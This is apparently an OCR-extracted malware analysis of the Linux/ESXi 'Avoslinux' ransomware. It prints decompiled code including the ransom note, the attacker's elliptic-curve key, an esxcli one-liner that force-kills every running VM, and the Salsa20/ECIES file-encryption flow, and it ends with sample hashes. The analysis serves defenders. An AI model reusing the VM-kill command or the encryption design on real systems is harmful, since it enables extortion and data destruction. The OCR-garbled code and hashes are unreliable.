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Avoslinux Analysis

Introduction

Over the last few months, several cyber gangs (BlackCat, Hive, Revil, etc.) have built Linux versions of their ransomware, specifically
targeting the VMware ESXi. The reason is that a single command could encrypt all the data contained on the virtual machines. In autumn
2021, the Avoslocker operators announced their new Linux variant of AvosLocker. The sample has been publicly available since January
2022.

This article is a detailed analysis of the Avoslinux piece of ransomware. The main objectives were to show the differences with the
Windows variant, to understand the encryption mechanisms and to see if any anti-reverse engineering techniques were used.

ELF Analysis

The analyzed sample was found on the public platform MalwareBazaar and its sha256sum is
10ab76cd6d6b50d26Fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4 . Based on the ELF header, it was compiled with GCC
4.4.7.

$ readelf -p .comment 10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4.elf

String dump of section '.comment':
[ 0] GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-23)

Obviously, the binary is stripped and does not contain any symbols:

$ nm 10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4.elf
nm: 10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4.elf: no symbols

The ELF header also contains the sections .ctors and .dtors .The .ctors section contains a list of functions ran before the main
function to initialize dynamic non-local variables.

$ readelf -S ./10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4.elf
Section Headers:

[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align

[ 0] NULL 0000000000000000 60O
0000000000000000 0000000000000000 o] 0 0

[ 1] .interp PROGBITS 0000000000400200 00000200
000000000000001c 6000000O0O0OO000000 A (¢} (¢} 1

snip

[19] .ctors PROGBITS 0000000000757000 00157000
00000000000000a0 0000000000000000 WA 0 0 8

[20] .dtors PROGBITS 00000000007570a0 001570a0
0000000000000010 0000000000000000 WA [} [} 8

The last constructor function called initializes three strings, the ransom notes, the sample ID, and base64 strings:

1/9


https://blog.lexfo.fr/Avoslocker.html
https://bazaar.abuse.ch/

int ctor_@ei()

1
2
3| char v1; // [rsp+Ch] [rbp-Ch] BYREF
4| char w23 // [rsp+Dh] [rbp-Bh] BYREF
5| char v3; // [rsp+Eh] [rbp-Ah] BYREF
6| char v4[9]; // [rsptFh] [rbp-9h] BYREF

7

2| std::ios_base::Init::Init{Bunk_78B989);

9| _ cxa_atexit(std::ios_base::Init::~Init, &unk 788989, &unk 4F5788);

18| stdiistring::string(

11 &ransom_notes,

12 "Attention!\r\n"

13 "Your files have been encrypted.\r\n"

14 "We highly suggest not shutting down your computer in case encryption process is not finished, as your files may get "
15 "corrupted.\r\n"

16 "In order to decrypt your files, you must pay for the decryption key & application.\r\n"

17 "You may do so by visiting us at http://avosjondpfh3yTewdjdwzofwilljcxlbk7hoxomnxlhSkvf2akegjad.onion. \rin”

18 "This is an onion address that you may access using Tor Browser which you may download at https://www.torproject.org/”
19 “download/\r\n"

20 "Details such as pricing, how long before the price increases and such will be available to you once you enter your I"
21 "D presented to you below in this note in our website.\r\n"

22 "Contact us soon, because those who don't have their data leaked in our press release blog and the price they'll have”
23 " to pay will geo up significantly.\rin”

24 "The corporations whom don't pay or fail to respond in a swift manner can be found in our blog, accessible at http://"
25 "avosqxh72b5ia23d15fgwepndkctuzgvh2iefksimp3pisgfhelsklad. onion\rin™,

26 va);

27| __cxa_atexit(std::string::~string, &ransom_notes, RBunk_4F5788);

28| std::string::string(&g_avoslinux_ID, "2bf79el463bf392boff640d56bo5d6aTa3iT20dodfbe755861411668167al4bb57", &v3);
29| _ cxa_atexit(std::string::~string, &g avoslinux ID, &unk_4F5788);

38| stdiistring::string(&g partners_msg, byte_4Fe6D8, &v2);

31| _ ecxa_atexit(std::string::~string, &g_partners_msg, &unk_4F5783);

32| std::string::string(

33 &basesd steam,
34 "MFYWEAYHKOZIz JRCAQYFK4EEAACDQEAEIU+h7UARDOOMVDFYVIMAG]5Q1i/5zn2b/ SdHOqFMAPEMVNEoc4z 1 Lk49U1iWc 2 1+in2CtyQb+/ s+IKvyPvack9gw==",
35 u1);

ransom_notes
The decoded base64 strings are 88-byte long and at first sight | couldn't figure out what it was.

$echo -en
"MFYWEAYHK0ZIZjOCAQYFK4EEAAODQYAEQU+h7UAGDOIMVDFVIMIG)5Qi/5zn2b/5dHIqFMAPEMVNgoc4z1Lk49U1iWc21+in2CtyQb+/s+IKvyPvack9gw=="
base64 -d | xxd

00000000: 3056 3010 0607 2a86 48ce 3d02 0106 052b OVO...*.H.=....+

00000010: 8104 000a 0342 0004 f54f aled 4034 0e8f ..... B...0..@4..

00000020: 6654 3155 24cf 468f 9422 ff9c e7d9 bffo9 fTIUS.F.."......

00000030: 747f 6al4 c029 1265 6782 8738 ce52 ed4e3 t.j..).eg..8.R..

00000040: d535 8967 3697 eB8a7 d82b 7241 bfbf b3e2 .5.g6....+rA....

00000050: 4abf 23ef 69c9 3d83 J.#.1.=.

Then, by digging further in the binary, it appears to be an elliptic curve public key generated using the secp256k1 curve.
$echo -en

"MFYWEAYHK0ZIZjOCAQYFK4EEAAODQUAEQU+h7UAGDO9MVDFVJIMIGj5Q1i/5zn2b/5dHI9qFMAPEMVNgoc4z1Lk49U1iWc21+in2CtyQb+/s+JKvyPvack9gw=="
base64 -d | openssl asnlparse -inform DER -dump

0:d=0 hl=2 1= 86 cons: SEQUENCE

2:d=1 hl=2 1= 16 cons: SEQUENCE

4:d=2 hl=2 1= 7 prim: OBJECT :id-ecPublicKey

13:d=2 hl=2 1= 5 prim: OBJECT :secp256k1

20:d=1 hl=2 1= 66 prim: BIT STRING
0000 - 00 04 f5 4f al ed 40 34-0e 8f 66 54 31 55 24 cf ...0..@4..fT1US.
0010 - 46 8f 94 22 ff 9c e7 d9-bf f9 74 7f 6a 14 c6 29 F.."...... t.j..)
0020 - 12 65 67 82 87 38 ce 52-e4 e3 d5 35 89 67 36 97 .eg..8.R...5.06.
0030 - e8 a7 d8 2b 72 41 bf bf-b3 e2 4a bf 23 ef 69 c9 LotrAL L DL HLL
0040 - 3d 83 =.

Finally, three objects are initialized, two of them will hold a public and private key, and one is for the random generator. These objects
come from the crypto++ library.
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+

DL_PrivateKey EC(g_private_key);
_ cxa_atexit(func, g_private_key, &unk_4F5788);
DL_PublicKey EC_@(&g pubkey);
_ cxa_atexit(CryptoPP::DL_Publickey EC<CryptoPP::ECP»::~DL_PublickKey EC, &g pubkey, Bunk_4F5788);
g_prng.field_58 = off_757098;
CryptoPP: :Algorithm: :Algerithm(&g_prng.field_58, 1);
g_prng.field_5@ = &off_7874D8;
g_prng.field_58 = off_737538;
g prng.field 70 = @x3FFFFFFFEFFFFFFFLL;
g_prng.field_78 = @LL;
g_prng.field_8@ = sub_41FAAR(Rg prng.gap6@[8], @LL);
CryptoPP::SecBlock<unsigned char,CryptoPP::AllocatorWithCleanup<unsigned char,falser>::SecBlock(g_prng.field_83, @LL);
g _prng.field 58 = &off_4F7EF8;
g_prng.field_58 = off_4F7FC8;
f_gen_block = off_757C982;
CryptoPP::Algorithm: :Algorithm{&off_78B788, 1);
off_788792 = @LL;
quword_78B740 = -1LL;
qword_78B7AS = @LL;
of f_78876B8 = @LL;
f_gen_block = &off_4Fo1De;
of f_788788 = off_aFoacs;
of f_788788 = off_aF936e;
CryptoPP: :Algorithm: :Algerithm(&g_prng, 1);
g_prng.field_18 = -1LL;
g_prng.field_18 = @LL;
g_prng.field_2e = aLL;
g_prng.field_3e = -1LL;
g_prng.field_38 = @LL;
g_prng.field_48 = aLL;
g_prng.field_48 = @LL;
f_gen_block = &to_CipherModeFinalTemplate_CipherHolder;
of f_788788 = of f_aF78Ag8;
of f_788788 = of f_aF7948;
g_prng.g_prng = off_4F79Ca;
of f_788798 = &g prng.field_5@;
sub_4BFCeR(&F_gen_block);
_ cxa_atexit(
CryptoPP::CipherModeFinalTemplate CipherHolder<CryptoPP::BlockCipherFinal<(CryptoPP: :CipherDir)@,CryptoPP: :MDC<CryptoPP::SHAL>: :Encs,CryptoPP::Cao
&f_gen block,
&unk_4F5788);
filename__ = @LL;
off_78B8F8 = @LL;
off_78B988 = @LL;
return _ cxa_atexit(sub_41C6A@, &filename_ , RZunk_4F5788);

ctors_object_init

Main function

No technique has been set up to obfuscate and protect the ransomware. The ransomware is basic and accepts two parameters, the
number of threads to be used and the directories to encrypt:

35
36

37

if ( (int)arge <= 2 || (v& = argv_1[1], !stremp(vé, “help”)) || *vé == '-' )

puts(
"AvosLinux | Branch SnowELFYn"
"Usage: ./elf <thread count> <path> [path] [path] ...\n"
"Example: ./elf 58 /vmfs/volumes/ /home/ /tmp/“n"
"Notes:\n"
"[path] can be set to 'esxi' as an alias to /vmfs/volumes/\n"
"ESXi VMs will be forced to shutdown when ran against ESXi paths.\n"

program_helper

“\n"
"Run in background: nohup ./elf 5@ esxi &\n"};
result = 2LL;

If one of the given paths contains the strings "esxi" or "vmfs", a global variable is set to true and the running VMs (virtual machines) are
killed using the esxcli command line:

if ( flag_vmfs_or_esxi )

printf("[+] Killing ESXi WMs ... ");

system(
"esxcli --formatter=csv --format-param=fields==\"WorldID,DisplayName\" vm process list | tail -n +2 | awk" k”"ng_}ES)ﬁ
" -F %', "{system{\"esxcli vm process kill --type=force --world-id=\" $1)}'");

sleep(5Su);

puts("[0K]");

Finally, it will browse the-give'n lists of directories recursively, load the attackers' public key and build a list of files that the encryption
thread routine will consume.
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116
117

do

{

s_dirname_1 = argv[2];

if ( !stromp(s_dirname_1, s_esxi) )

{
strepy(s_dirname, "/vmfs/volumes/"});
build_files_list(s_dirname};

}

else
build_files_list(s dirname_1});

i

Hwlly

+Hargv;

while ( argc » w12 };
pthread_mutex_lock(&stru_78Ba8Ca);
byte 78BBES = 1;
pthread_mutex_unlock(&stru_78B3Ca);
if ( >1)

for { 1 = 2LL; 1 <= v17; ++1 )

if ( pthread_create(&haystack[8 * i], @LL, encryption_routine, i) )} |

puts({"Error: pthread_create() failed");
exit(1l);
i
}

printf(
"[+] Objects: ¥1ld\n[+] Application will be terminated when the encryption is over. Please wait.\n",
g_number_of_files_to_enc);

pthread_exit(@LL);

main_encryption_flow

Generating the list of files to encrypt

The function that builds the list of files to encrypt is simple. First, it calls "opendir" with the directory path name to encrypt, and then, using
"readdir", it iterates through the files in the directory. If it is a regular file and the name is not "README_FOR_RESTORE" or it does not
end with the ".avoslinux" or ".avos2" extension, it is added to the global list. If the esxi global variable is set to true, only files that end with

".vmdk", ".vmem", ".vswp",

.vmsn" or ".log" are added to the list:
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57 while { !strcmp(&dirent->filename, "README_FOR_RESTORE") );
58 current_filename_1 = &dirent->filename;

59 current_filename = malloc(@x1@@euLL);

68 strepy(current_filename, s_dirname);

61 dirname_len = strlen(s_dirname};

62 current_filename_2 = current_filename_1;

63 if ( s_dirname[dirname_len - 1] != "/" )

G4

65 *&current_filename[strlen{current_filename)] = '/';
66 current_filename_2 = current_filename_1;

67 1

68 streat(current_filename, current_filename_2);

69 if { flag_wmfs_or_esxi )

e

71 if ( !check_extension(current_filename, ".wvmdk")

72 &% !check_extension(current_filename, “.wvmem")

73 &% !check_extension(current_filename, ".wswp")
74 &% !check_extension(current_filename, ".vmsn")
75 &% !check_extension(current_filename, ".log") )
76

77 goto LABEL_23;

78

79|LABEL_26:

88 pthread_mutex_lock(&mutex);

81 std::string::string{ptr_current_filename, current_filename, &v13};
82 if ( off_78B8F8 == g_last_file_list )

83 {

84 add_to list(&g_files_list, off_78B8F8, ptr_current_filename);
a5 1

86 else

87 {

88 if ( off_78B8F8 )

89 {

9@ std::string: :string(off_78B8F8, ptr_current filename);
ol v = off_78B8F8;

92 ¥

93 else

94

95 vE = BLL;

96 ¥

a7 of f_78B8F8 = (v3 + 8);

98

99 std:istring: i~string(ptr_current_filename);

108 ++g_number_of_files_to_enc;

181 pthread_mutex_unlock(&mutex);

1le2 free{current_filename);

103 1

1a4 else

185

1e6 if ( !check_extension(current_filename, ".avoslinux") && !check_extension(current_filename, ".awvos2"} )
187 goto LABEL_26;

build_files_list_to_encrypt

Unlike most Windows pieces of ransomware, that only encrypt data files based on their extension name using a whitelist or a blacklist, this

Linux variant may encrypt all the files, including system files.

Load the attackers' public key

Because the ransomware uses the crypto++ library, we recognize the particular concept of filters and pipes used by the library in the
reversed code. Similarly to Unix, Pipes allows data flows from a source to a sink and filters them to transform them. The original function
that decodes and loads the base64 attackers' public key would probably look like this:

AutoSeededRandomPool prng;
string encoded =

"MFYWEAYHK0ZIZzjOCAQYFK4EEAAODQQAEQU+h7UAGDOIMVDFVIMIG]5Qi/5zn2b/5dH9qFMAPEMVNgoc4z1Lk49U1iWc21+in2CtyQb+/+JKvyPvack9gw=="";

string decoded;

StringSource ss(encoded, true, new Base64Decoder( new StringSink(decoded)));

ECIES<ECP>::Encryptor e0;
e0.AccessPublicKey().Load(decoded);

e0.GetPublicKey().ThrowIfInvalid(prng, 3); // Validate the public key
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14| decoded_pub_key[@] = 8b64sig;
15| b64_sink = operator new(@x2euLl);

15 Cryptof lgorithm: :Algorithm nk, 8);

17 nk->field @ = g_StringSinkTemplats;

18 nk->field 8 = off_7sa220;

19 = decoded_pub_key;

20 operator new(Bx6BuLL);

21 ay = GetDecodingLookuparray_ ();

A ¥
22| Baseb4Decoder: :Baseb4Decoder(obj_Baseb4becodsr, Decodinglockupirray, 6, b4_sink);
p .

23 s_basecs_key;

24] ecoder->field_@ = 8g_Baseb4Decoder;

25 ecoder->field 8 = oft AFCE;

2 tringsource B(& gSource, s_basesd_key 1, 1, obj_BasesaDecoder);// basesa pub key
27 tringSource_1(& gSource_pub_key, decoded_pub_key, 1, OLL);
28 uc_1)->attackers_pub_keys + *(ADI(s - 1)->attackers_pub_keys - 14)))[7](// CryptoPP::ASNICryptoMaterial<CryptoPP::PublicKey>::Load(CryptoPP: :BufferedTransformation &)
29 1)->attackers_pub_keys + *(ADI(struc_1)->attackers_pub_keys - 14)
30 ingSource_pub_key);

31 ngsource_pub_key.field 38 = off_aFcspe;

32 ngSource_pub_|

33

34]

35

36 ub_key.field 18 + 8LL))(Stringsource pub key.field 18);
37 1d_8 = off_4FCSDO;

38 ield B = &off_4F8BFB;

39 = off_4FCsDa;

49 = &off_aF8eFe;

a1 ngsource.field_ @ = &off _77E418;

42 ingSource.field_8 = off_77E588;

43 ingSource.field_18 )

a4 gsource.field 18 + BLL))(StringSource.field 18);

45| stringsource.field 8 = of f_4FC5D0;
ngsource.field_@ = &off 4F8BFR;
47| w7 = (*(RADI(struc

48 &ADI(struc_1)->attackers_pub_keys + *(ADJ(struc_1)->attackers_pub_keys - 14),
a9 &g prng,
50 3L

51| va = 8;

load_attackers_public_elliptic_curvre_key

Encryption

>attackers_pub_keys + *(ADJ(struc_1)->attackers_pub_keys - 14)))[4](// CryptoPP::DL_PublicKeyImpl<CryptoPP::DL_GroupParameters EC<CryptoPP::ECP3>::Validate(CryptoPP: :RandomNumberGenerator &,uint)

To encrypt files on the disk, Avoslinux uses the Salsa20 stream ciphers using the 12-round variant. For each file to encrypt, it generates a
32-byte long Salsa key and an 8-byte long nonce.

51| w38 -1LL;

52| ke ze = @x28LL;

53 _key = CryptoPP::UnalignedAllocate(@x28ull);
54 S1LL;

55 BLL;

56| nonce = CryptoPP::UnalignedAllocate(Bull);

57| CryptoPP::AdditiveCipherTemplate<CryptoPP::AbstractPolicyHolder<CryptoPP::AdditiveCipherabstractPolicy,CryptoPP::CTR_ModePolicy>>::GenerateBlock(

58 &f_gen_block,
59 salsa_key,
6@ @x2eull);

61| CryptoPP::AdditiveCipherTemplate<CryptoPP::AbstractPolicyHolder<CryptoPP::AdditiveCipherabstractPolicy,CryptoPP::CTR ModePolicy>>::GenerateBlock(

62 &f_gen_block,

B3 nonce,

64 Bull);

65| fd_file_to_Enc = fopen(*s_filename, "r+");
66| Td = fd_file_to_Enc;

57| wi = -1;

68 if ( Ifd_file_t
69 goto LABEL_14;
78| fseek(fd file toc Enc, @LL, 2);
71| wv2@ = ftello(fd_file_to_Enc_1);
72| fseek(fd_file - nc_1, @LL, @);
73| key_n_nonce[@]
74| key_n_nonce[l] =
75| key_n_nence[2] =
76| key_n_nonce[3] = *(salsa_key + 3);

77| nonce_ *noncej

78| bes4 siz = &be4sig;

79| key n_nonce[4] = nonce_1;

20 ECIﬂS_n_de(ke'y'_n_ncnce, ax28, &he4 sig);

gen_salsa_key nonce
The generated key and nonce are passed to the function "ECIES_n_b64" to be encrypted using the ECIES (Elliptic Curve Integrated
Encryption Scheme) crypto scheme, and then base64-encoded.

Enc )
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[int64 _fastcall ECIES_n_b64(__inté4 key_n_nonce, int key_n_nonce_size, _int64 be4_sig)

stru: bsa “stringsink_b64_sig; // rbp

2 »bp
—intea Euffarelﬂ'ransfomat)on, 1 rax

PK_Final_Template_key encrypt_key; // [rsp+dh] [rbp-365h] BYREF

stringSource StringSource; // [rsp+276h] [rbp-98h] BYREF

CryptoPP: iALgorithm: talgarith(&encry e | kay field 8, 1);
encrypt_key.field 8 = g DL_ObjectImplBas
Field 10 = g DL Ob]E(lImplﬁase o;

DL_PublicKey EC_@(&=ncrypt key.DL_PublicKey EC);
encrypt_key.PK_FinalTemplate = &g_to_PK_FinalTemplate;

“key.field 1@ = g_to PK_FinalTemplate 1;
key.DL_PublicKey EC->_ZNBCryp _Publi. LINS_21DL_Groupl _ECINS_3ECPEEEE: i ;_laNameValuePairsE) (
.DL_PublicKey_EC,

J/ Cryptopp: :DL_PublicKeyImpl<CryptoPp: :DL_GroupParameters_EC<CryptoPP::ECP>>: tAssignFrom(CryptoPP: :NameValuePairs const&)
operator new(9x20uLL)
Algorithm(stringsi sig, @);
ield 6 = g_StringSinkTemplate;

i FF. 759229,-

Dperalur‘ nEw(GkEBuLL),
asesagncoder (825 oder,
er = operator new(GKEBuLL)

ion = encrypt_key.PK_FinalTemplate->_ZHKBCryptoPP12PK_Encryptor22CreateEncryptionFilterERNS_; _22Buff 10nERKNS_14NameValuePairsE(

stringsink_b64_sig, 1LL, Bx48LL);

Euh‘e e ansfors

&g _params); /7 Cryptopp: :PK_Encryptor: :CreateEncryptionF ilter (Cryptorp: :PK_Encryptor *_hidden this, CryptoPP::RandomliumberGenerator *, CryptoPP::BufferedTransformation =, const Cryptopp::lamevaluepairs =)
er, BufferedTransformation, @LL, OLL, BaseS4Encoder);

g_PK_Encryptorfilter;

= off_4FF380;

ingSource: : StringSource(&5tringSource, key_n_nonce, key_n_nonce size, 1, PK_Encryptorfilter);// Encryption

.Field_38 = off_4FC500;

rce.field 30 = 8off_4rgerFe;

gsource. to_SourceTemplate_Stringstore = 8off_77E410;

ingsource.field & = Dfr 778588

ource. eld 18 + BLL)) (StringSource.field_18);
.field_8 = off_4FCSD6;

g50urce to_SourceTemplate_StringStore = Qoff_4F88Fe;
key.PK_FinalTemplate = Soff_4FEgle;

b 41[138(&Enc ypt_key);
return OLL;

ECIES_encrypt_key_and_nonce
The function would probably look like this:

string key_nonce;
StringSource ssl1 (key_nonce, true, new PK_EncryptorFilter(prng, e0, new Base64Encoder( new StringSink(b64_ecies_key_nonce))));

The ECIES-encrypted output is bigger than the original: 125-byte long. Based on the crypto++ ECIES documentation, "The output of the
encryption function is the tuple {K,C, T}, where K is the encrypted common secret, C is the ciphertext, and T is the authentication tag."

The number of Salsa rounds is set:

113 salsa_round[@] = 12;

114| set _salda_rounds(&v41, "Rounds”, salsa round, 1);

115 vé = sub 422BF@(&v41, @xS81088LL, &v32, v43);

116 sub_443BE@({&param 1 v

117 w4l = &off_ 759458

115| sub 41AE9B(Rv42);

119| w7 = ptr;

12@ of f_4F72B08;

121 v32.field_28; I K
1oo| it ( pir ) set_salsa_rounds_and_key
123

124 if ( vi2.field_28 > v32.field_28 )

125 v = v32.field_28;

126 memset(ptr, @, vd);

127 CryptoPP::AlignedDeallocate(v7);

128 }

129 CryptoPP"SimpleKeyingInter‘Face::SetKey(&a:, salsa_key, key_size, &params_value_paris);

138 file_end pc:..-cn 1 = file_end pcs‘_-_icnj

The file is encrypted usnng the Salsa20/12 algorithm, and the key with the previously encrypted nonce (ECIES and base64) is appended to
the end of the file.
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131 if ( file end position » @xBB7FEF )

132 {

133 while ( 1)

134

135 bytes read = fread(read data, 1lull, ©xFA®@@uLL, fd_file to Enc_1);
136 vll = file_end_positicn_1 - bytes_read;

137 fseek(fd_fil Enc_1, -bytes_read, SEEK_CUR);

138 CryptoPP: :AdditiveCipherTemplate<CryptoPP: :AbstractPolicyHelder<CryptoPP: :AdditiveCipherabstractPelicy, CryptoPP: :SymmetricCiphers>::Processhata(
139 &a1,

148 read_data,

141 read_data,

142 bytes_read};

143 fwrite(read_data, lull, bytes_read, fd_file to_Enc_1);
144 if ( bytes_read <= @xFIFFF )

145 break;

146 if ( w1l <= @x9C4FFF )

147 goto LABEL_25;

148 file_end_po L= vll - 8x9C4ee8;

149 fseek(fd_file_to_Enc_1, @x9C4@@@LL, SEEK_CUR);

158 1

151 ¥

152 else

153 {

154 v17 = fread(read_data, 1lull, @xFA@@uLL, fd file to_Enc_1);

155 fseek(fd file to Enc 1, @LL, SEEK_SET);
156 CryptoPP: :AdditiveCipherTemplate<CryptoPP: :AbstractPolicyHolder<CryptoPP: :AdditiveCipherAbstractPolicy,CryptoPP: : SymmetricCiphers>: :ProcessDdta(

157 8s1,

158 read_data,

158 read_data,

168 vi7);

161 if ( file_end_position <= @xF9F54 )

162 {

163 to_memcpy(&read_data[vl7], @xABulL, be4 1, BxABulLl);
164 fwrite(read_data, Llull, v17 + 171, fd_file to Enc_1);
165 goto LABEL_12;

166 1

167 fwrite(read_data, 1lulLlL, v17, fd_file to Enc_1);
168|LABEL_25:

169 fseek(fd_file_toc_Enc_1, @LL, SEEK_END);

17e

171 fwrite(bs4 sig 1, lull, @xABulLL, fd_file to_Enc_1);
172|LABEL_12:

173 free(read_data);
174 felose(fd_file_to

salsa20/12 encrypting
Then, the file is renamed by appending the ".avoslinux" extension to the file.

Enc_1);

175 append_‘stF(new;, ;_‘FiIer'{an'e, " aveslinux")
176 rename(*s_filename, newa[@]);

Finally, the Salsa key and the nonce are erased from the memory:

* File renamed

283 ncnze_z = noncej

284 nonce_size_1 = nonce_size;

285 if { nonce )

286

287 if ( nonce_size » v35 )

288 nonce_size 1 = w35;

269 memset(nonce, @, nonce_size_1);

21@ CryptoPP::AlignedDeallocate(nonce_2);

211

o Salsa key and nonce zeroing
214

215

216

217

218 memset(salsa_key, @, salsa_key_size);
219 CryptoPP::AlignedDeallocate(salsa key 1);
228

221| return v3;

222[}

Conclusion

The Linux variant is very simple and has no special features like network encryption or any anti-reverse techniques to obfuscate codes.
The encryption process is not common for a piece of ransomware and it is different from the Windows variant, which uses the RSA and
AES combination. Another thing to note is that unlike most Windows pieces of ransomware, that only encrypt data files based on their
extension name using a whitelist or a blacklist, this Linux variant may encrypt all the files, including system files.

I0Cs

Sample hash

* SHA256: 10ab76cd6d6b50d26fde5fe54e8d80fceeb744de8dbafddff470939fac6a98c4
e SHA1: 9¢8f5¢136590a08a3103ba3e988073cfd5779519
* MD5: f659d1d15d2e0f3bd87379f8e88c6b42

Elliptic curve public key
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